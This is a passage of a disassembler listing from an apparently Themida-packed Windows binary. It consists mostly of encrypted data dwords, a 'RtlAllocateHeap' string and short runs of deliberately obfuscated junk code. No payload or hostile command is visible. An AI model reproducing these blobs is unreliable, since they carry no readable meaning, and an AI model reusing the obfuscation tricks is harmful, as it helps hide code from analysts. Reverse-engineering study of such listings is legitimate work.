		dd 802CA261h, 4F0C6EA7h, 4412D3F6h, 0E86D1E82h,	11h, 0A6B36913h
		dd 199B696Bh, 1B037074h, 0C77FF495h, 0A4C2811Ch, 5B63852Eh
		dd 81D78B66h, 68A6C3h, 6800h, 3FBA0000h, 58236FAFh, 2D3ABE66h
		dd 80033C8Bh, 0EF8103F1h, 64BC3C33h, 0C6816657h, 8159E637h
		dd 9501F3F7h, 81F08B51h, 29FBC9EFh, 7FC28128h, 571AE25Fh
		dd 3048FF8h, 8090C980h,	0E883E4DAh, 4860F02h, 57000000h
		dd 485E6160h, 0CFBF0F48h, 97D8F881h, 850FFFFFh,	0FFFFFFB0h
		dd 0EDE9C88Bh, 60000000h, 0A8D88C66h, 0DF840F04h, 8B000000h
		dd 0D10851B5h, 0FE8307h, 22850Fh, 85C60000h, 7D131B5h
		dd 69696845h, 0B5FF8E72h, 7D11CC9h, 0A6EA858Dh,	0D0FF07D4h
		dd 30918589h, 0F08B07D1h, 0FE93E80h, 3185h, 6F858D00h
		dd 0FF07D6CAh, 15BD8BD0h, 8107D109h, 1184C7h, 51B58B00h
		dd 8707D108h, 8B9F7h, 0A4F30000h, 851B58Bh, 858D07D1h
		dd 7D4D684h, 0B58BD0FFh, 7D10245h, 0F00FE83h, 2285h, 0B585C600h
		dd 5407D131h, 4EBEF468h, 0C9B5FFFFh, 8D07D11Ch,	0D4A6EA85h
		dd 89D0FF07h, 0D1024585h, 80F08B07h, 850FE93Eh,	3Ah, 245B58Bh
		dd 858D07D1h, 7D6CA6Fh,	0BD8BD0FFh, 7D10915h, 1184C781h
		dd 0C7830000h, 45B58B08h, 8707D102h, 8B9F7h, 0A4F30000h
		dd 245B58Bh, 858D07D1h,	7D4D684h, 0C361D0FFh, 0C371858Dh
		dd 858907D9h, 7D11375h,	0C4FD8D8Dh, 958B07D9h, 7D10059h
		dd 1B518D89h, 0ADBF07D1h, 0C779547Dh, 0D12D5585h, 5C1807h
		dd 0FD9D2B00h, 0C707D12Eh, 0D11D3985h, 7, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
		dd 383034CAh, 665B3A69h, 0B5FFF38Bh, 7D11FF1h, 58C0Fh
		dd 81660000h, 0FF3253CFh, 0D1180195h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 0F2BF0F46h, 95FF006Ah, 7D10055h, 5EEBC08Bh, 89EA13A7h
		dd 0C4E8E129h, 1571B8B6h, 0D48AD1B1h, 8250F936h, 4A74CB60h
		dd 0FA74BB42h, 3E52FDCEh, 0BC1859CCh, 8488EEBAh, 39173E3Fh
		dd 0D6223FDh, 801F1A61h, 7F9D937Ah, 5BDC236h, 0F20907BFh
		dd 17DBC794h, 7BF80F0Ch, 2377456Dh, 8A8D6ADCh, 0CC8F8998h
		dd 94F39058h, 4D2DC2C6h, 19E9CE6Bh, 8B000000h
aIhRtlallocateh	db 'ih`RtlAllocateHeap',0
		align 4
		dd 1400h, 10F3E9h, 0C78C6800h, 0F5E907D9h, 68FFF7B8h, 7D9C8A2h
		dd 0F7B8EBE9h, 0CB1768FFh, 0E1E907D9h, 68FFF7B8h, 7D9CC65h
		dd 0F7B8D7E9h, 0CF8668FFh, 0CDE907D9h, 68FFF7B8h, 7D9D025h
		dd 0F7B8C3E9h, 0D06968FFh, 0B9E907D9h, 68FFF7B8h, 7D9D149h
		dd 0F7B8AFE9h, 0D1D768FFh, 0A5E907D9h, 68FFF7B8h, 7D9D255h
		dd 0F7B89BE9h, 0D3FF68FFh, 91E907D9h, 68FFF7B8h, 7D9D4E8h
		dd 0F7B887E9h, 887826FFh, 768A0EFBh, 659BFCE9h,	4EACEBD8h
		dd 3AB6D4C1h, 9ABF2ADh,	0F5E26F89h, 0E2CF5C92h,	0CDBA47A1h
		dd 2A431CFh, 7A145916h,	0C8B01A02h, 87F478DCh, 0BF6F84DEh
		dd 63215230h, 0FF96542Fh, 3B6F2D1Ah, 0F0D0D25Dh, 16054DAEh
		dd 6C039A7Fh, 0A9F99A87h, 0C62A0FE9h, 7FFDB2D9h, 0F68D240Dh
		dd 4EBD6811h, 4F3BB9D7h, 0D9177663h, 0CDA05DF4h, 0F712299Bh
		dd 9C1F4E0Bh, 0EA51229h, 6E5BE877h, 5A47D42Ch, 0ECD9BE3Ah
		dd 619FFAACh, 0C14EE57Ch, 0B6A24733h, 0AE8066CAh, 0DEF46F06h
		dd 1BAA41BFh, 0F9F7105Eh, 381DB419h, 0F9F6EE7Bh, 0CF3EE919h
		dd 9E73E1CEh, 3EFC41h, 801E0000h, 0FDFB9912h, 0D8958118h
		dd 1228B495h, 1501982Fh, 0DB22C529h, 0F34A8222h, 31C05795h
		dd 0FAA03E74h, 0FE998619h, 0ED841B00h, 0A01E4B08h
dword_612D20	dd 0EB919FAh, 21119E1Fh, 0D7CC419Fh, 0EE000000h, 502F6321h
					; DATA XREF: ___:off_4455E8o
		dd 7F16AD92h, 13EDAD9Ah, 4F43412Eh, 3B20B735h, 0C721624Fh
		dd 0AF4D4B38h, 0B9E36522h, 0AD9A1228h, 993015EBh, 817F1D0Ah
		dd 158907F4h, 0FDE27977h, 9677AD11h, 0CDB8885Fh, 0B544A0E0h
		dd 0AA967B27h, 0AC765ABEh, 0D73BB9D7h, 0E87711C2h, 0FABD132Bh
		dd 1E7D6A19h, 15AC51E0h, 0F3B09C88h, 19FABC7Ah,	424FB34Ah
		dd 5C081A15h, 0E49624B3h, 0BD5C1905h, 721CF49h,	0FB978470h
		dd 642411FDh, 49B5532h,	9850321Fh, 0F8E57201h, 1AA5E9Ah
		dd 0DBFEB8FFh, 0E3A7EF6h, 0E9950000h, 1B7D6AF7h, 2A6B58E5h
		dd 3B5A47D4h, 474330BDh, 3C611CA9h, 51DE1A78h, 3ECB2164h
		dd 29B63051h, 13A05C3Ch, 0A5C88571h, 1F1A027Bh,	61215937h
		dd 8F0DFA87h, 0E9807E1Bh, 12807E5Ch, 0F8E18522h, 0E2795E9Ah
		dd 9B61E87Eh, 47B41804h, 12815F49h, 5F4B37C6h, 0BB571BFBh
		dd 197EE82Fh, 0D46B02E7h, 32A8845h, 39A19FAh, 308611Eh
		dd 24CF19FAh, 35523FF5h, 35CBCEBBh, 0B32AB950h,	419E83FCh
		dd 0D8E1h, 35220300h, 0AA484753h, 0F9978413h, 692916FBh
		dd 5BEDAA8Fh, 221228B9h, 0E08D4A36h, 0E41228B9h, 0B9DD904Dh
		dd 0FBE71228h, 28BA2F3Eh, 67FE9512h, 4FADEBD8h,	6CB7D5C2h
		dd 463337A3h, 0EF775EFCh, 1026C82Ch, 0F38166FDh, 8A766287h
		dd 2926A0CDh, 0FE8D2412h, 3AE95512h, 44DB19FAh,	987929B7h
		dd 1919EFACh, 47AB21CEh, 31AA69A2h, 6753EAC1h, 53E0187Ah
		dd 14762466h, 8E0AF7DCh, 0A9EEDB72h, 44DB7257h,	0BB8D1190h
		dd 72EACFFEh, 0D24h, 54E11F7Fh,	42CF2D67h, 31BE3055h, 1AA74544h
		dd 6936D2Dh, 385A524Bh,	434633C0h, 563320ADh, 7E1E0B98h
		dd 6753F582h, 27CC3AAh,	3B19011Ah, 0FA876121h, 85718F0Dh
		dd 18FDFB98h, 7965F281h, 0E6F30E15h, 0DE6D9026h, 85632100h
		dd 0CBC7B4A0h, 22B1482Dh, 0C995735h, 28B51A4Fh,	12766312h
		dd 0E75E0F11h, 0BE551000h, 0C6B342D9h, 523E2AC6h, 0E6CB2565h
		dd 0A4DB924Fh, 52E91229h, 4B4936C3h, 0BDDBC8ADh, 659BFDEAh
		dd 29A4C5A8h, 7C68FF12h, 29A4AEBFh, 0E87F1612h,	5DCC7703h
		dd 0BD4AA6E6h, 0CE266946h, 0C17439h, 80960000h,	1703EF12h
		dd 62C16A2Ah, 31755A83h, 1BB2972Eh, 0E37CF8Ch, 0F68D19FAh
		dd 5B382511h, 18510E9Dh, 0BF19FA0Eh, 46896FD3h,	8EF6C521h
		dd 0E4A554FFh, 419E4DCBh, 8612h, 19513400h, 641228B5h
		dd 0A881C77h, 0DB7209EEh, 2DCCBE4Ch, 2B685541h,	0AD813ECDh
		dd 1719F9D0h, 0A98E6A2Ah, 1EE7B12h, 0F4826781h,	1C510E86h
		dd 0A819F9D1h, 7DC8AD11h, 8109A2CCh, 7711FEEAh,	0EBA89479h
		dd 19F9F782h, 8514AB42h, 2A06DC99h, 8A7721CBh, 7209EE0Ah
		dd 1AA73EE3h, 0AA44412Eh, 3E6D2E1Bh, 0CB29EC81h, 0F8F49021h
		dd 4025BC53h, 3521C0B2h, 20AF4D48h, 30B37734h, 7A11299Ch
		dd 8C075EDh, 80970000h,	4603EF12h, 19F9B77Ch, 0D3219D01h
		dd 0D0A52315h, 0BC4BA1E3h, 8E6A2A17h, 642512A9h, 770EA58Ah
		dd 94D592h, 984319FAh, 0C1C6B369h, 8629A02Fh, 3E419E7Eh
		dd 5B268ADAh, 0F060C43Ah, 35089701h, 15h, 50352257h, 17520F9Eh
		dd 651228B5h, 0BA32C927h, 0FFFFFBCEh, 0EF1280DCh, 0D7DC4603h
		dd 51E819F9h, 0D7BAAF6Ch, 721D19F9h, 54AD0283h,	3130419Eh
		dd 52000005h, 5D4DCD31h, 0B13D0BCh, 0B919F9E7h,	0E4D1BD22h
		dd 0CC6348A4h, 17C8803Dh, 0C9B5C3BFh, 0BF17610Ch, 3DCC63C3h
		dd 0CDC8C3AFh, 1CB34A2Fh, 60E9CC30h, 0D6BA8DE9h, 0FC9E5B47h
		dd 0C8CB9014h, 73604C31h, 5EF5DA10h, 0B05141CFh, 0AFEBD8C4h
		dd 14D99451h, 0F52CCB90h, 9FE3DD94h, 0D564FBA0h, 0D1272CE9h
		dd 6A56D364h, 25E21C7Dh, 0D364D148h, 0B156E57Ch, 43412E1Ah
		dd 0D1B6344Fh, 0EE5AD63Ah, 79548A3Ch, 286855E2h, 0C08F18CCh
		dd 7C613022h, 0AAF04h, 6C940A00h, 5A96F2DFh, 49A7E0CDh
		dd 32B0CFBCh, 1EDAB8A5h, 0E5C7D691h, 0D1BE4BA5h, 0BEAB38B6h
		dd 0A99623DDh, 0DE800DEBh, 803835F2h, 0A48C1A02h, 2DBE22C6h
		dd 3C830961h, 0FC9C8918h, 1D8D1B00h, 0F7B4E7A6h, 12298C76h
		dd 0BC20B74Eh, 0BA9785BFh, 0DCC85F31h, 0FAC6BF1Fh, 826E0519h
		dd 45ECA996h, 0EC57F07Fh, 15FA91DBh, 0A6016C29h, 2CC319FBh
		dd 78190695h, 0E5A5927Eh, 8F260Bh, 0EB058673h, 175613FFh
		dd 0AD19FBA6h, 0E5A28716h, 19FBA588h, 0FBB64524h, 0B0E49619h
		dd 4126C4C3h, 0B580EDAAh, 40FD19FBh, 19FBB62Dh,	0C45B0097h
		dd 8684412Dh, 3E21CCE0h, 51B53351h, 0A18E0B36h,	7F6B0251h
		dd 12F7F192h, 1B07EC7Bh, 6FFB722Fh, 68121CDh, 0C76C03E8h
		dd 85E4A130h, 5221CD6Fh, 0D5C278A7h, 0BF563BB5h, 0F0F6B930h
		dd 2DE74971h, 9000000h,	0FF991280h, 927E6A01h, 0D3B4E4A5h
		dd 0AA1381Dh, 42FF8E25h, 19F9CB40h, 92DB9884h, 3219F9CAh
		dd 12EEAE9Bh, 251E967Bh, 40000000h, 3EF1280h, 926E2A17h
		dd 7A09E7A5h, 0F9E21DBDh, 0D8BAA719h, 0DA43B20h, 364F3C28h
		dd 33CA2662h, 4A28B74Eh, 0D1856321h, 0F11E6ABEh, 61C94126h
		dd 0BC000009h, 0A4911EC2h, 927F0CE0h, 816EFBF5h, 6A57E402h
		dd 8843D028h, 5E39F15h,	0F2088B78h, 0DD1B7865h,	0C7256350h
		dd 0EFAC983Ah, 1A02807Eh, 80805E46h, 1703EF12h,	28B5135Ah
		dd 0C7C4B112h, 16AD4429h, 54DE9B87h, 7019F9BAh,	8907F4D9h
		dd 0C921DE6Bh, 124144F4h, 8F692A67h, 7209E7A2h,	0C62B57E5h
		dd 22BD1DDAh, 1A074916h, 0FCE87F79h, 9075730Fh,	99856AF9h
		dd 8211EFACh, 70FDF395h, 6551B0E2h, 0CC891A78h,	491622A1h
		dd 10F58C23h, 12FEEA79h, 0FA896725h, 0E74DCD3Dh, 7B60F750h
		dd 0E74DABBEh, 92812C50h, 8BCB9E11h, 1233F78h, 80610000h
		dd 0FE9912h, 72C07D69h,	5219F9BAh, 0ABE9D6BBh, 6F8D0BF8h
		dd 0F9BABBB2h, 0DB720919h, 0C523614Eh, 0F5C723E0h, 8B364144h
		dd 9E7A59Ch, 9EF18F7Ch,	44F58CE1h, 0AA13841h, 4445321Eh
		dd 0F580EDAAh, 0AD444144h, 6E7C391Eh, 52689030h, 0D5C278A7h
		dd 0BDAA39B7h, 0D13521DFh, 2D53BE7Bh, 36C35200h, 0CCA15E4Ah
		dd 0F8689073h, 0A7E5D261h, 0C45B91F3h, 0BB2A51DFh, 747B12CFh
		dd 0B2496890h, 6EB9725h, 5CA2E1Ah, 30CCC8DDh, 0B233EDCCh
		dd 940C6623h, 21B87061h, 0B14F4835h, 30503D22h,	5A3A27B4h
		dd 9C6B29Eh, 70619364h,	553AC960h, 6193ED98h, 0F928D370h
		dd 19A64242h, 0E984412Dh, 0DB706193h, 17F8B544h, 0C4E4B5CCh
		dd 594632D1h, 0A22FBE38h, 3419D7B5h, 0FD72A677h, 7DAC576Ah
		dd 9D2AC6C6h, 0D4C6C4B1h, 0BCA138B4h, 0F17C3925h, 0D36AFD72h
		dd 0C0C0AD3Ch, 0C1B13F24h, 4A473420h, 45311DACh, 72D19C59h
		dd 5CF36AFDh, 9BEE10CDh, 3FD672CEh, 703AB2h, 624E0000h
		dd 0CE9BC8A5h, 0D665FC72h, 221280F8h, 7919D4A4h, 9F039A7Fh
		dd 4CECCE14h, 643466Ch,	3622B950h, 0B534D9D2h, 0C4538AAEh
		dd 14671BD8h, 0C65D19FAh, 3C31EEDAh, 4119FA15h,	0FA14E984h
		dd 9F44DB19h, 2BA80B3Bh, 29935C4h, 0E7A18E73h, 0DA187C09h
		dd 403F2CAFh, 9726BDA2h, 87739209h, 8DCBB523h, 20AF3CF2h
		dd 0AFE7734h, 2FC619FAh, 632104E2h, 31359985h, 39C81558h
		dd 0F38A6023h, 5949D764h, 170FCCB8h, 0AD19FAA5h, 5F3D2A16h
		dd 0CCB14F4Bh, 22B99E35h, 0D9BAA793h, 0E4A5921Fh, 4D39250Ah
		dd 0FAA4DD90h, 0C150E719h, 0B6A24733h, 0BEDACEC9h, 2FC65D42h
		dd 0E7F7B4A0h, 0DD21CBD5h, 0C5A46146h, 1621CBE5h, 0AD998564h
		dd 3A27C5C0h, 5714A35Dh, 299D10B3h, 4C21DECAh, 78299D11h
		dd 16AD52E1h, 0EC813E2Ah, 0D8299D10h, 6D52A8EBh, 0CBB03FD6h
		dd 9D105B0Eh, 22D17C29h, 41924E61h, 338F51h, 0B6A30000h
		dd 0AE8C1BD5h, 0FA991280h, 0BC7965FCh, 19F9CAC6h, 0D63C9AFEh
		dd 428D991Ah, 215BBFABh, 0FD9919Eh, 94D99682h, 3019F9B9h
		dd 0AD250A99h, 0Eh, 0EF1280CFh,	0E2944603h, 993019F9h
		dd 6321D6B4h, 1F3937B8h, 27BEE619h, 1E651673h, 35AD92F1h
		dd 640h, 70FDE39Bh, 5EEB0183h, 4DDA1471h, 36C32160h, 22AF4949h
		dd 1C7E3667h, 2F6A57E4h, 3A5744D1h, 42422FBCh, 8B7719A6h
		dd 2839FCEh
		db 1Ah
byte_6135F1	db 25h,	3Dh, 5Fh	; DATA XREF: sub_58A891+1FAA1o
		dd 9AFEDC31h, 0F22B434h, 0ABE7D4F4h, 42D1684Dh,	3723C6B4h
		dd 0C8AD4B4Ah, 0AB414431h, 0B4A02FC6h, 0FA0527F7h, 0A1069D19h
		dd 40DEC9E4h, 816012DCh, 81ECA995h, 43DC40DEh, 6A03C0ACh
		dd 5ADC40DEh, 8B4834C3h, 0E411FBA7h, 13A1861Dh,	0D9968267h
		dd 0EBE33691h, 0C3B09C33h, 4E3B27C5h, 9623B24Eh, 590DEBA9h
		dd 28A4E822h, 0A165DDC2h, 0FC000005h, 0E4D15E82h, 0D2BF4CA0h
		dd 0C1AE3BB5h, 0AA9724C2h, 0C88310E8h, 45A3DFD5h, 32C8CBB8h
		dd 1DDBB8A5h, 7E5A390h,	2FECD87Ah, 1A02853Eh, 22C09E86h
		dd 0F9E5035h, 0D2866222h, 0F11E6A9Dh, 5DE25A3Fh, 0B8000005h
		dd 0A08D1AC6h, 8E7B08E4h, 7D6AF709h, 6653E01Eh,	843FCC24h
		dd 0F9F79319h, 0E6047F6Ch, 0D12F6C59h, 0BB395744h, 0E3A08C2Eh
		dd 1A02848Ah, 2274523Ah, 0B99E5035h, 0E6A69322h, 0EB97250Ah
		dd 2CC0C4B1h, 28B4FE6Fh, 982FC612h, 79F3EFACh, 3AD11A02h
		dd 0C8A5624Eh, 0FC1A0279h, 0BB49D665h, 813E2ACFh, 21D390FDh
		dd 5F4B30C7h, 0F5DA1672h, 8A6F8D08h, 10CD5CF3h,	21D39159h
		dd 6324D37Eh, 49780E4Ch, 9091h,	0DF31B300h, 0DECA2F5Bh
		dd 0F9E6FD21h, 4430C719h, 31C03E57h, 0F9740FCCh, 3B67E900h
		dd 12FEEAD6h, 0CB886625h, 0E900F9A2h, 3FFC8B22h, 0F0D2025Bh
		dd 5FEDD269h, 25E2CE33h, 0F8A6AA2Eh, 2613FF96h,	11FD8A66h
		dd 0F333E3ADh, 0C04FDB22h, 8337B5D3h, 17639B20h, 7D239B80h
		dd 0D8000004h, 0C0AD3AA6h, 0AE9B28C4h, 9D8A17E9h, 867300FEh
		dd 0A45FEC04h, 19D7B3F9h, 6E49F8Ch, 0F10F8C79h,	0DB197764h
		dd 3C0AC4Eh, 1A02856Ah,	9694725Ah, 89h,	543522B8h, 8F1EB59Ah
		dd 84709101h, 27A0BC7h,	3622B91Ah, 0BA65DCD2h, 0FF8E7595h
		dd 8A662613h, 1AD4B19Eh, 7311FE8Bh, 40A49075h, 0F9980429h
		dd 0EBAB97FBh, 4733C150h, 81F9B6A2h, 4321D2E7h,	4939C7ACh
		dd 6FFFBCA8h, 5529A3F7h, 29B10ABEh, 6EBE665h, 3EF8Eh, 0AC544A00h
		dd 9A56321Fh, 8967200Dh, 72700FFCh, 5E9AF8E5h, 258716D1h
		dd 11FE8B65h, 0FEEB7876h, 0E9D6639Dh, 1EC04DABh, 85F87532h
		dd 0E4CC1A02h, 0B51C5106h, 0D9901228h, 21228B4h, 0E5F1C90h
		dd 0B61228B5h, 482DCBC9h, 97831AB1h, 27A08DAh, 3925BC1Ah
		dd 19C9BDD5h, 0EF532CAEh, 75F381DBh, 0A68B1A6Ch, 34CACDBAh
		dd 1C1042D0h, 6CFB1744h, 2FE3017Fh, 0F6C70460h,	7163DBC0h
		dd 0CC000003h, 0B4A12ED2h, 0A28F1CD0h, 917E0BE5h, 7A67F4F2h
		dd 9853E018h, 15D3AF05h, 2F89B88h, 0ED0B8875h, 0D7157360h
		dd 0FFBCA84Ah, 1A02866Eh, 22906E56h, 0B3985635h, 0E0A08D1Ch
		dd 0E1911F04h, 8B571400h, 3919F9C4h, 0C52915A2h, 0AB67BF6Fh
		dd 0A461F01Fh, 3544F49Dh, 3637F4E0h, 473544F5h,	44F4E38Ah
		dd 0A54AE135h, 0F0927F0Eh, 1C7E6BF8h, 5BF20E8Eh, 56BDE876h
		dd 6321EBC9h, 0D5B3A085h, 0B19E8A17h, 2AC0C3D7h, 4760493h
		dd 323CF9E5h, 9219F9E9h, 105916FBh, 6C19F9E9h, 1EDD22Eh
		dd 0F9E92944h, 17049B19h, 0C3997E7Ch, 5032E918h, 851CB398h
		dd 0D8D948F3h, 419E65D7h, 2F06h, 12802800h, 6C4603EFh
		dd 5819F9DDh, 4A1FDCC1h, 3219F9DEh, 0C4B19652h,	0FF482DC3h
		dd 2B6EA554h, 1AC3ED5h,	5F1E9112h, 11BF419Eh, 0E1000001h
		dd 0A0856321h, 3419D7B3h, 0C6AB4947h, 50AEEDDAh, 0E3B4D4C1h
		dd 28B54726h, 0B0197D12h, 0A90F9CDDh, 0F9861DB4h, 29210C3Ch
		dd 0D4107012h, 2D6E5B47h, 395744D3h, 0FDEAD6BBh, 0BC79659Bh
		dd 122920B1h, 5FED7C13h, 20D10133h, 8EFCD5EDh, 1DA70BF7h
		dd 0B2E9F57Ch, 0A468369Ah, 0E7313C4Eh, 0CBAF6C58h, 0B219FAB0h
		dd 0B06409C6h, 0C96019FAh, 5D42BEDCh, 0A59237C6h, 8F260BE5h
		dd 2005E3A2h, 0D765F289h, 9D5A46ABh, 21CE92E3h,	7CF1AE9Ah
		dd 4821CE92h, 92CE9F5Ch, 5FF621CEh, 0FD9439C8h,	8A662411h
		dd 602411FDh, 7210FD8Ch, 93096421h, 24BB21CEh, 0B4FCD98Dh
		dd 0BF0FEBBh, 1C793h, 847C2200h, 728E0AF7h, 619FF8E5h
		dd 4AA8E7D4h, 36B2D0BDh, 0FDAFEEA9h, 0E9D6639Dh, 0D6C350AEh
		dd 0C1AE3BB5h, 0F69825C3h, 88204D0Ah, 0BCA41A02h, 876121DEh
		dd 0A48F0DFAh, 0DA81A781h, 3C28BF51h, 0D2B7354Fh, 0F7109F6Eh
		dd 9C33A04Eh, 2E13D1AFh, 9D7B0897h, 0F8991280h,	760DEBA8h
		dd 8D0DFA91h, 33F0DC73h, 19F9DD7Fh, 0CC9AE45h, 19F9DD5Dh
		dd 5F20CF7Ah, 419E5F50h, 0EA088774h, 0CDF6E05h,	0A4h, 8563212Eh
		dd 0C3D7B3A0h, 0B0952CC2h, 45E760C4h, 350C10DFh, 20AF4D48h
		dd 2981E563h, 0FBF99712h, 8F03816Eh, 200DF2F0h,	5F28967h
		dd 0EF866B85h, 71086C58h, 2125946h, 45D3B847h, 0BC8B455h
		dd 19FAC56Fh, 0A331BE55h, 692612F7h, 21CEA4B8h,	9C89750Ch
		dd 887502FEh, 73AEE0Ah,	9DFEBB9Ah, 0DE40B8h, 45390000h
		dd 67210E9Bh, 760FFC89h, 9FFEEB78h, 0ABE7D461h,	9805C04Dh
		dd 0ED7A7614h, 0DA678500h, 0C552ACEDh, 0AF3CB8D8h, 964210Dh
		dd 0BB1A0289h, 3522F5D3h, 1F0C9B55h, 0BF88563h,	4E26F8Dh
		dd 99856321h, 0A0E40D35h, 8A2106E2h, 27287C26h,	0DAC7B398h
		dd 0C5B241BFh, 0E9C29C7h, 0D4917D9Ch, 1A035EFAh, 624E33CAh
		dd 5FFD1FEh, 8514738Fh,	6FFCF898h, 0F4900282h, 0B604DE2Bh
		dd 0AF46BA5Dh, 0B09C33CAh, 9A29C7C3h, 4BCDF8B5h, 443081B5h
		dd 2FBE3C57h, 0FE9E9584h, 6B291602h, 0B59A5837h, 6BF8871Eh
		dd 0F6E21E7Eh, 0C267E492h, 9625117Eh, 27C5C4B1h, 3FEE9942h
		dd 0DF6C8808h, 6D8306F3h, 0FE9B88h, 0ED841Bh, 0EAD76682h
		dd 0F1694EAAh, 0Ch, 0BABE2213h,	0A3E89C5Ah, 0DEBC0897h
		dd 9E837D21h, 3015D3B1h, 0C3A84643h, 583DB3D6h,	0ECD12F6Bh
		dd 806583FFh, 11F6F493h, 0A88D6324h, 3E23D9BBh
		db 6Fh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	309Bh
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	edi
		mov	edi, 76AA2031h
		not	edi
		or	edi, 63F754FFh
		push	ecx
		mov	ecx, 4B33716Ch
		sub	ecx, 67155768h
		sub	edi, ecx
		pop	ecx
		mov	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	ebp
		push	eax
		mov	eax, edx
		mov	ebp, eax
		pop	eax
		mov	[ecx+8], ebp
		pop	ebp
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		db 8Eh
		dd 3AFCFF4Ch, 0D9D5EBB8h, 0FFC50307h, 0CAB129E0h, 13312532h
		dd 377FF55h, 21499F27h,	481AAC33h, 0AE8553Ah, 0BFEFF74Fh
		dd 613E802Ah, 0A65BE253h, 20940B36h, 36CAB045h,	12327B74h
		dd 8D2FE517h, 4F7BB33Dh, 0DF90E202h, 66138C3Bh,	0B6673A36h
		dd 0D9C7604Dh, 378AD331h, 0F929FB36h, 47E6AC55h, 1ECC715Dh
		dd 0AA8D8D10h, 6607D9D7h, 5D3D881h, 1B518D89h, 0B58B07D1h
		dd 7D12841h, 2D5585C7h,	65B807D1h, 858B0000h, 7D1244Dh
		dd 1D3985C7h, 7D1h, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 190424h, 53430000h, 9B8DB5C3h, 0E892DDFDh
		dd 11h,	15E54DAFh, 0CA79E34Dh, 0B6024CE3h, 7A041FBEh, 0F28B660Fh
		dd 75B5FF5Eh, 6A07D11Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 85D0C350h, 59051F45h
		dd 24959D89h, 0E86007D1h, 0Ch, 0A0882A36h, 0EBAA02F8h
		dd 0E6CDFFE3h, 0C058D03h, 665A07D1h, 61813CBEh,	180195FFh
		dd 8E907D1h, 0AD000000h, 4D044876h, 8B59225Ch, 0FF006AF9h
		dd 0D1005595h, 0EBC08B07h, 7395380Ah, 53D02735h, 8DCBB91Ah
		dd 0D9D8BB8Dh, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0B53153CCh, 7D131BDh
		dd 68F0F58h, 81000000h,	51A93AE2h, 518D8974h, 6A07D11Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 80AAC356h, 8CFF9CDFh, 0E9F6BF0Fh,	8, 0B526433Eh
		dd 774C86CEh, 2D5585C7h, 74A807D1h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0BF7F5CC3h
		dd 0B0EA28D1h, 1D3985C7h, 7D1h,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0B8D9FAC3h
		dd 0BC67F2BAh, 0ABBF667Bh, 65B5FF9Bh, 6607D11Fh, 95FFC78Bh
		dd 7D11801h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	0EAC35040h, 0BED1DDE2h,	6AA380h, 5595FFh, 0C08B07D1h
		dd 912439EBh, 0A6C2E97Eh, 0B09DAA44h, 0D2DECE9Dh, 87CD064Fh
		dd 19471055h, 3D3AE378h, 84AD59BBh, 6ECCA542h, 101E5394h
		dd 2923B216h, 58CFC68Bh, 89944CFDh, 54243CA3h, 8D34342Eh
		dd 0D9D9C88Dh, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 4BAB297h, 146BE337h, 34F081CCh
		dd 89051E09h, 0D11B518Dh, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 0C3406FC1h
		dd 0BF0F78F1h, 5585C7D7h, 7407D12Dh, 0F00006Ah,	85C7C7BFh
		dd 7D11D39h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+7D12565h],	edi
		push	dword ptr [ebp+7D12F05h]
		push	0
		push	eax
		call	sub_613FBF
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_613FBF	proc near		; CODE XREF: Themida_:00613FB7p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_613FBF	endp

; ---------------------------------------------------------------------------
		sbb	dl, cl
		cmp	eax, 0B78D9900h
		retn
; ---------------------------------------------------------------------------
		mov	[ebp+7D12BBDh],	eax
		call	dword ptr [ebp+7D11801h]
		jmp	loc_613FF1
; ---------------------------------------------------------------------------
		dd 1DDE930Dh, 0B652650Bh
		db 0CEh
; ---------------------------------------------------------------------------


loc_613FF1:				; CODE XREF: Themida_:00613FE3j
		jmp	loc_613FFF
; ---------------------------------------------------------------------------
		dw 0B75h
		dd 699BB7Dh
		db 67h,	0F0h, 0EEh
; ---------------------------------------------------------------------------


loc_613FFF:				; CODE XREF: Themida_:loc_613FF1j
		push	0
		call	dword ptr [ebp+7D10055h]
		mov	eax, eax
		jmp	short loc_614075
; ---------------------------------------------------------------------------
		db 0A6h
		dd 928DE23Ah, 0EE494035h, 36E745DDh, 49BE58FAh,	0EE21804Ch
		dd 3DA94A45h, 0AF7010E8h, 0F2A8D791h, 1EBCDC7Dh, 0FD023D8Bh
		dd 0B569BD7Eh, 89605027h, 0C027E5A7h, 0BC489E9Dh, 0BF6CBA4Ah
		dd 0B187A924h, 0D444B833h, 558F0858h, 0E1714CC8h, 7A8E4920h
		dd 3A9BF491h, 20D1A785h, 0AE6B6D99h, 0C5AE8610h, 0A21538FCh
		dd 68B674A7h
		db 70h
; ---------------------------------------------------------------------------


loc_614075:				; CODE XREF: Themida_:00614009j
		call	sub_614088
